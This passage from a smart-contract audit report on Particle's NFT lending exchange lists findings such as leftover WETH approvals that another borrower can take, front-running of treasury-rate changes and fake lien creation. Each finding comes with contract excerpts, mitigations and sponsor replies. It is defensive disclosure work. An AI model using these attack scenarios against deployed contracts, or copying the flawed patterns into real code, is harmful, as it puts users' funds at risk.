3. Alice can either accept it and keep 0.5 ETH interest or front-run the admin transaction and claim before the `_treasuryRate` is updated.

The point is, Alice only agreed to pay a `5%` treasury rate at the beginning, so the new rate should not apply to her.

Recommended Mitigation Steps

Consider storing the `treasuryRate` in the loan struct. The loan struct is not kept in storage, so the gas cost will not increase significantly.

Alternatively, consider adding a timelock mechanism to prevent the admin from changing the treasury rate.

hansfriese (judge) commented:

> Marked as primary because of the concise explanation and the mitigation suggestion.

wukong-particle (Particle) confirmed and commented:

> Acknowledged the issue, though the fix might not be the same as suggested. We will mitigate it with an upper bound on the treasury rate, and perhaps the timelock mechanism.

wukong-particle (Particle) commented:

> Mitigated.

[M-04] Function `_execBuyNftFromMarket()` fails to check the actual ETH Balance in the contract after executing the trade

Submitted by minhquanym*, also found by* adriro

In the function `_execBuyNftFromMarket()`, if the user chooses to use `WETH`, the function deposits ETH and approves the `amount` of WETH to the marketplace. After executing the trade at the marketplace, the function checks that the balance decrease is correct in the end. However, this check only accounts for ETH changes, not WETH changes, which is incorrect. If the trade did not use the full amount of WETH approved to the marketplace, some leftover WETH will remain in the contract. This amount of WETH/ETH will be locked in the contract, even though it should belong to the borrower who was able to get a good offer to buy the NFT at a lower price.

```
    if (useToken == 0) {
        // use ETH
        // solhint-disable-next-line avoid-low-level-calls
        (success, ) = marketplace.call{value: amount}(tradeData);
    } else if (useToken == 1) {
        // use WETH
        weth.deposit{value: amount}();
        weth.approve(marketplace, amount);
        // solhint-disable-next-line avoid-low-level-calls

        // @audit might not use all amount approved, cause ETH to lo
        (success, ) = marketplace.call(tradeData);
    }

    if (!success) {
        revert Errors.MartketplaceFailedToTrade();
    }

    // verify that the declared NFT is acquired and the balance decr
    if (IERC721(collection).ownerOf(tokenId) != address(this) || bal
        revert Errors.InvalidNFTBuy();
    }
```

Proof of Concept

Consider the following scenario:

1. Alice (borrower 1) calls `buyNftFromMarket()` to acquire an NFT with a price of 100 WETH. However, she sets the amount to 105 WETH, so the contract deposits and approves 105 WETH to the marketplace. After the trade, there are still 5 WETH approved to the marketplace.
2. Bob (borrower 2) sees the opportunity. He has a much cheaper lien, so he also calls `buyNftFromMarket()` to acquire an NFT with a price of 5 WETH. He specifies the `useToken = 0`. However, he sets the `amount = 0` and actually uses the 5 WETH left in step 1 of Alice to acquire the NFT. The result is Bob is able to steal 5 WETH approved to the marketplace.

Recommended Mitigation Steps

Consider accounting for the WETH when checking balance changes in `_execBuyNftFromMarket()`.

Assessed type

Invalid Validation

hansfriese (judge) commented:

> Marked as primary to credit pointing out an interesting scenario in the PoC. Mitigation is well written at **#24**.

wukong-particle (Particle) confirmed and commented:

> Fixed.

Low Risk and Non-Critical Issues

For this audit, 5 reports were submitted by wardens detailing low risk and non-critical issues. The **report highlighted below** by **adriro** received the top score from the judge.

The following wardens also submitted reports: **rbserver**, **d3e4**, **bin2chen** *and* **minhquanym**.

Non Critical Issue Summary

	Issue	Instances	
[N-01]	Use named parameters for mapping type declarations	3	
[N-02]	Unneeded explicit return	1	
[N-03]	Use bool type for togglable parameter	1	

[N-01] Use named parameters for mapping type declarations

Consider using named parameters in mappings (e.g. `mapping(address account => uint256 balance)`) to improve readability. This feature is present since Solidity 0.8.18.

Instances (3):

```
File: contracts/protocol/ParticleExchange.sol

24:     mapping(uint256 => bytes32) public liens;

25:     mapping(address => uint256) public interestAccrued;

26:     mapping(address => bool) public registeredMarketplaces;
```

[N-02] Unneeded explicit return

The explicit return can be omitted, as the function is using named return variables.

Instances (1):

- https://github.com/code-423n4/2023-05-particle/blob/main/contracts/libraries/math/MathUtils.sol#L26

[N-03] Use bool type for togglable parameter

Instances (1):

- https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L343

Low Issue Summary

	Issue
[L-01]	Contract files should define a locked compiler version
[L-02]	`_withdrawAccountInterest()` can be front-runned to increase the treasury rate
[L-03]	Relax amount check strictness while operating with marketplaces
[L-04]	The `onERC721Received` callback can be used to create fake liens
[L-05]	Accidental loss of NFTs due to misuse of push mechanism
[L-06]	`auctionBuyNft()` should use the current auction price instead of `amount` parameter
[L-07]	Use Ownable2Step instead of Ownable for access control

	Issue
[L-08]	Provide safer limits for treasury rate
[L-09]	Marketplace calls are too permissive
[L-10]	Gas limited ETH transfers can lead to a denial of service
[L-11]	Function `buyNftFromMarket()` should not be payable

[L-01] Contract files should define a locked compiler version

Contracts should be deployed with the same compiler version and flag that they have been tested thoroughly. Locking the pragma helps to ensure that contracts do not accidentally get deployed using, for example, an outdated compiler version that might introduce bugs that affect the contract system negatively.

Instances (1):

```
File: contracts/protocol/ParticleExchange.sol

2: pragma solidity ^0.8.17;
```

[L-02] `_withdrawAccountInterest()` can be front-runned to increase the treasury rate

https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L238

A call to `_withdrawAccountInterest()` can be front-runned to increase the treasury rate and diminish (or nullify) the lender's portion of the loan interests.

```
function _withdrawAccountInterest(address payable lender) interr
    uint256 interest = interestAccrued[lender];
    if (interest == 0) return;

    interestAccrued[lender] = 0;

    if (_treasuryRate > 0) {
        uint256 treasuryInterest = MathUtils.calculateTreasuryPr
        _treasury += treasuryInterest;
```

```
            interest -= treasuryInterest;
        }

        lender.transfer(interest);

        emit WithdrawAccountInterest(lender, interest);
    }
```

The `treasuryInterest` variable is calculated as a proportion of the `interest` amount which is then subtracted to calculate the lender's share.

[L-03] Relax amount check strictness while operating with marketplaces

- https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L331
- https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L428

In both `sellNftToMarket()` and `buyNftFromMarket()` the given amount is validated using a strict equality check.

These conditions can be relaxed to account for extra fees, rounding or potential minimal differences when the transaction gets executed. For example, the sell operation can check if the difference in balance is greater or equal to the amount (i.e. it received at least `amount`) and the buy operation can check the if balance difference is lower or equal to the amount (i.e. it sent at most `amount`).

[L-04] The `onERC721Received` callback can be used to create fake liens

https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L74

Since the `onERC721Received` callback is a public function, it can be called by anyone to create fake liens. The `from` parameter is user supplied to the function, which means that anyone can create fake liens on behalf of an arbitrary lender.

[L-05] Accidental loss of NFTs due to misuse of push mechanism

https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L74

An accidental loss of NFTs can happen if the sender doesn't use `safeTransferFrom()` or submits an incorrect payload in `safeTransferFrom()`.

[L-06] `auctionBuyNft()` should use the current auction price instead of `amount` parameter

https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L688

The `amount` parameter in the `auctionBuyNft()` function should be used as a slippage check to ensure the caller gets at least an `amount` value from the action, but the effective value the offerer receives should be `currentAuctionPrice` (as this represents the maximum incentive the offerer gets while executing the action).

[L-07] Use `Ownable2Step` instead of `Ownable` for access control

- https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L14

Use the Ownable2Step variant of the Ownable contract to better safeguard against accidental transfers of access control.

[L-08] Provide safer limits for treasury rate

https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L800

The current implementation of `setTreasuryRate()` only limits the rate parameter to `_BASIS_POINTS`, which if maxed, represents 100% of the lender's earnings.

[L-09] Marketplace calls are too permissive

- https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L316
- https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L414
- https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L420

The `sellNftToMarket()` and `buyNftFromMarket()` functions present in the ParticleExchange contract are used to execute a sell or a buy operation in a registered marketplace.

Even though marketplaces are whitelisted, both of these functions take an arbitrary `tradeData` payload that is supplied by the caller. This argument is then used as the calldata to the marketplace functions.

An attacker could use this to essentially call any function in the registered marketplace.

The recommendation here is to also whitelist function selectors and validate the right calls are being made. For example, this could be implemented as a `mapping(address => mapping(bytes4 => bool))` that indicates whether a particular function signature is enabled for the corresponding marketplace.

[L-10] Gas limited ETH transfers can lead to a denial of service

ETH transfers are executed by using the `transfer()` function which is gas bound and can potentially lead to an accidental denial of service.

The ParticleExchange contract needs to execute ETH transfers in several places across its codebase:

- In `withdrawEthWithInterest()` to transfer the liquidated ETH to the lender and any potential payback to the borrower.
- In `_withdrawAccountInterest()` to transfer accrued interests to the lender.

- The `buyNftFromMarket()`, `repayWithNft()` and `auctionBuyNft()` functions also need to transfer the payback to the borrower.
- In `withdrawTreasury()` to claim treasury fees.

In all of these cases, the method used to send ETH is the `transfer()` function. As stated in the **documentation**, this function is limited to 2300 units of gas. If the receiver is a contract then it can only rely on 2300 units of gas to execute its logic. If the call fails due to being out of gas, the `transfer()` function reverts, causing the whole transaction to be reverted.

This can be quite problematic as smart wallets and account abstraction are gaining traction and adoption. If the transfer triggers some logic in the receiving contract, the call could potentially be aborted due to gas constraints.

If any of the parties (lender, borrower or treasury) is a contract, then there is a potential risk of an accidental denial of service that could prevent calling any of the functions that execute a `transfer()` call.

Recommendation

Use the `call()` function to transfer ETH, since this is not limited in gas by the compiler. The OpenZeppelin library contains a utility function called `sendValue()` that implements this behavior.

Assessed type

DoS

[L-11] Function `buyNftFromMarket()` should not be payable

The `buyNftFromMarket()` function is marked as payable but fails to consider callvalue.

The `buyNftFromMarket()` function present in the ParticleExchange contract implements the flow in which the borrower buys an NFT in the marketplace in order to repay and close the loan.

https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L338-L393

```
338:     function buyNftFromMarket(
339:         Lien calldata lien,
340:         uint256 lienId,
341:         uint256 tokenId,
342:         uint256 amount,
343:         uint256 useToken,
344:         address marketplace,
345:         bytes calldata tradeData
346:     ) external payable override validateLien(lien, lienId)
347:         if (msg.sender != lien.borrower) {
348:             revert Errors.Unauthorized();
349:         }
350:
351:         if (lien.loanStartTime == 0) {
352:             revert Errors.InactiveLoan();
353:         }
354:
355:         uint256 payableInterest = _calculateCurrentPayable1
356:
357:         /// @dev cannot overspend (will revert if payback t
358:         // since: credit = sold amount + position margin -
359:         // and:   payback = sold amount + position margin -
360:         // hence: payback = credit + lien.price - bought am
361:         uint256 payback = lien.credit + lien.price - amount
362:
363:         // update lien (by default, the lien is open to acc
364:         /// @dev update lien before paybacks to prevent ree
365:         liens[lienId] = keccak256(
366:             abi.encode(
367:                 Lien({
368:                     lender: lien.lender,
369:                     borrower: address(0),
370:                     collection: lien.collection,
371:                     tokenId: tokenId,
372:                     price: lien.price,
373:                     rate: lien.rate,
374:                     loanStartTime: 0,
375:                     credit: 0,
376:                     auctionStartTime: 0
377:                 })
378:             )
379:         );
```

```
380:
381:         // route trade execution to marketplace
382:         _execBuyNftFromMarket(lien.collection, tokenId, amo
383:
384:         // accure interest to lender
385:         interestAccrued[lien.lender] += payableInterest;
386:
387:         // payback PnL to borrower
388:         if (payback > 0) {
389:             payable(lien.borrower).transfer(payback);
390:         }
391:
392:         emit BuyMarketNFT(lienId, tokenId, amount);
393:     }
```

The required funds to purchase the NFT are used from the contract. As we can see in line 361, the `amount` value (which is the purchase price) is subtracted from the borrower's quota (credit and lien price) along with the due interests (`payableInterest`). If the amount weren't enough this calculation would overflow.

The particular issue here is that the function is marked as payable and could potentially receive ETH, but the function doesn't consider any attached value during its implementation.

This might be caused by an initial version of the function that could receive ETH and was later iterated and changed. If the borrower needs to increase their margin they could call the `addCredit()` function.

We can double check this by noting that `msg.value` isn't taken into account in the implementation of `buyNftFromMarket()` or the internal function `_execBuyNftFromMarket()` . This means that any ETH sent to this function will be effectively lost in the contract.

Recommendation

Remove the `payable` modifier from the `buyNftFromMarket()` function.

Assessed type

Payable

wukong-particle (Particle) acknowledged and commented:

> N-01, Current compiler preference is ^0.8.17, so 0.8.17 hasn't yet supported this.
> N-02, Acknowledged, explicit return for readability.
> N-03, Used `uint256` instead of `bool` for better gas.

wukong-particle (Particle) commented:

> L-01, Will likely use 0.8.19, this duplicates the slither findings in https://github.com/code-423n4/2023-05-particle/tree/main/slither#pragma.
> L-02, If I understand correctly, same as https://github.com/code-423n4/2023-05-particle-findings/issues/9.
> L-03, We impose strict wei-level checks to ensure no leaky bucket. Extra fees should be included in the "amount" argument.
> L-04, Understood, but this is a designed case where anyone can supply NFT using this push-based method via `onERC721Received`, the "arbitrary" lender specified by "from" is as if this "from" address calls "supplyNft" directly, should be a benign behavior.
> L-05, Understood, this push-based method should only be used by our front-end, we are not liable for the accidental loss via direct interaction with the contract.
> L-06, Acknowledged, will use this suggestion.
> L-07, Acknowledged, will consider using `Ownable2Step`.
> L-08, Acknowledged, will provide a safer check.
> L-09, Understood. Will consider the function check, though the check before/after the arbitrary function call should strictly prevent all misuse cases.
> L-10, Acknowledged, will consider updating the methods.

hansfriese (judge) commented:

> All findings are valid.

> Also, #22 & #23 were downgraded to Low and considered in scoring.

> Total: 12 Lows and 3 Non-Criticals

> Marking as the best.

Note: Issues 22 and 23 (now L-10 and L-11, respectively) have been appended to the warden's report above.

wukong-particle (Particle) commented:

> L-01 fixed.

wukong-particle (Particle) commented:

> L-02 mitigated.
> L-06 fixed.
> L-08 fixed.
> L-10 fixed.
> L-11 fixed.

> N-01 fixed.
> N-02 fixed.
> N-03 is not a binary toggle. In the future we may allow other WETH equivalent tokens.

Gas Optimizations

For this audit, 3 reports were submitted by wardens detailing gas optimizations. The report highlighted below by **adriro** received the top score from the judge.

The following wardens also submitted reports: d3e4 *and* minhquanym.

MathUtils library

- Function `calculateCurrentInterest()` uses unnecessary intermediary WAD scaling, resulting in unneeded multiplications and divisions as a result of `wadMul` and `wadDiv`. The calculation can be simplified as `(principal * rateBps * (block.timestamp - loanStartTime)) / (_BASIS_POINTS * 365 days)`.
  https://github.com/code-423n4/2023-05-particle/blob/main/contracts/libraries/math/MathUtils.sol#L19

- Function `calculateCurrentAuctionPrice()` uses unnecessary intermediary WAD scaling, resulting in unneeded multiplications and divisions as a result of `wadMul` and `wadDiv`. The calculation can be simplified as `(price * auctionElapsed / auctionDuration`.
  https://github.com/code-423n4/2023-05-particle/blob/main/contracts/libraries/math/MathUtils.sol#L36
- Function `calculateTreasuryProportion()` uses unnecessary intermediary WAD scaling, resulting in unneeded multiplications and divisions as a result of `wadMul` and `wadDiv`. The calculation can be simplified as `(interest * rateBips / _BASIS_POINTS`.
  https://github.com/code-423n4/2023-05-particle/blob/main/contracts/libraries/math/MathUtils.sol#L50

ParticleExchange contract

- Storage variables `_treasuryRate` and `_treasury` could benefit from being packed together in a single slot, as these are used in conjunction. This could be achieved by changing `_treasuryRate` to `uint24` (which can safely fit the maximum rate of 100,000) and reducing the size of `_treasury` to `uint232` (which can still represent a huge amount of ETH).
  https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L22-L23
- In `withdrawEthWithInterest()` there are potentially multiple calls to the lender to send ETH. Group these together in order to execute a single `transfer()` call.
  https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L212
  https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L222
- In the `_withdrawAccountInterest()` function the `_treasuryRate` variable is read twice from storage. Consider caching it locally to execute a single SLOAD.
  https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L237
  https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L238

- In the `_withdrawAccountInterest()` function, the math in `_treasury += treasuryInterest` can be unchecked as it would be practically impossible to overflow the size of the `_treasury` variable.
https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L239
- In the `_withdrawAccountInterest()` function, the math in `interest -= treasuryInterest` can be unchecked as `treasuryInterest` is a portion of the `interest` (i.e. `treasuryInterest <= interest`).
https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L240
- If marketplaces are trusted entities then WETH approval can be done once for an infinite amount instead of approving a specific amount in each call to `_execBuyNftFromMarket()`.
https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L418
- ERC721 transfers can be safely executed by calling `transferFrom()`, instead of `safeTransferFrom()`, when the recipient is the exchange contract in order to avoid the unneeded callback and save gas.
https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L57
https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L499
https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L731
- In the `stopLoanAuction()` function the check `lien.loanStartTime == 0` is unneeded, as this is already implied by the check below of `lien.auctionStartTime == 0` (i.e. if `lien.auctionStartTime != 0` is true then it already implies that the lien is taken).
https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L659
- In the `auctionBuyNft()` function, the math in `lien.credit + lien.price - payableInterest - amount` can be unchecked as `amount` is lower than or equal to `currentAuctionPrice`, and `currentAuctionPrice` is a portion of `maxSpendable` (`lien.credit + lien.price - payableInterest`); which means that `lien.credit + lien.price - payableInterest` is safe (as it

didn't overflow in line 699) and `lien.credit + lien.price - payableInterest - amount` is also safe as `amount <= lien.credit + lien.price - payableInterest`.
https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L742

- In the `withdrawTreasury()` function, the `_treasury` storage variable is read twice from storage. Consider caching it locally to execute a single SLOAD.
https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L809
https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L813

wukong-particle (Particle) acknowledged and commented:

> If marketplaces are trusted entities then WETH approval can be done once for an infinite amount instead of approving a specific amount in each call to `_execBuyNftFromMarket()`.

> Understood, we only transfer the declared amount to WETH to avoid a potential attack.

> Agreed with all other gas optimization suggestions and will consider incorporating all of them.

wukong-particle (Particle) commented:

> MathUtils library fixed.

wukong-particle (Particle) commented:

> Unchecked treasury rate fixed.
> `safeTransferFrom` fixed.
> `stopAuction` check fixed.
> `SLOAD _treasury` once fixed.
> `withdrawEthWithInterest` transfer fixed (nullified).

Disclosures

C4 is an open organization governed by participants in the community.

C4 Audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.

Top